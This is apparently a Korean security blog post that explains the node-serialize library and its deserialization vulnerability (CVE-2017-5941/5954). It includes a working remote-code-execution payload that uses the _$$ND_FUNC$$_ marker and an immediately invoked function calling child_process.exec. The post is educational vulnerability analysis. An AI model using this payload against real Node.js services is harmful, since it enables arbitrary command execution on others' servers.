serialize?
serialize는 node.js에서 많이 사용하는 데이터 값들을 직렬화 시켜주는 도구이다. 해당 함수를 이용하면 다양한 데이터들을 간단한 string으로 변환해주어서 데이터 통신에 많이 사용한다.
var serialize = require('node-serialize');
var data = { "data": "hello" };
var se_data = serialize.serialize(data);
console.log(typeof (se_data))
console.log(se_data)
var unse_data = serialize.unserialize(se_data);
console.log(typeof (unse_data))
console.log(unse_data)
다음과 같은 코드가 있을때 출력값은 아래와 같다.
string
{"data":"hello"}
object
{ data: 'hello' }
데이터를 직렬화하면 string으로 변환되고, 변환된 string을 다시 역직렬화하면 데이터 타입까지 보존되는 것을 확인할 수 있다.
serialize 취약점
하지만 해당 함수는 취약점이 발생한다. 현재 CVE-2017-5941, CVE-2017-5954으로 등록되어 있다.
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls \', function(error, stdout, stderr) { console.log(stdout) });}()"}';
let obj = serialize.unserialize(payload);
만약 위의 값을 역직렬화 한다고 생각해보자. serialize에서 ND_FUNC는 다음 값이 함수라고 지정해주는 것이다. 따라서 "function (){require(\'child_process\').exec(\'ls \', function(error, stdout, stderr) { console.log(stdout) });}"라는 값은 함수를 선언하고 해당 함수는 ls 명령어를 실행해주는 함수이다.
그런데 해당 함수 다음에 "()"라는 문자열이 포함되어 있다. 이렇게 되면 해당 함수를 실행하겠다는 의미가 되는데 해당 payload를 unserialize 함수의 입력값으로 주게되면 해당 함수가 실행되고 ls 명령어의 결과를 출력하게 된다.
이를 이용해 공격자의 입력값이 그대로 unserialize 함수에 들어가게된다면 공격자가 원하는 명령어를 실행시키고 공격 서버의 데이터를 가져올 수 있게 된다.
'hacking > web' 카테고리의 다른 글
Node.js - prototype pollution (0) | 2023.04.24 |
---|---|
CSRF (0) | 2023.03.27 |
Relative Path Overwrite (0) | 2022.12.06 |
DOM Clobbering (0) | 2022.12.06 |
CSP (0) | 2022.12.06 |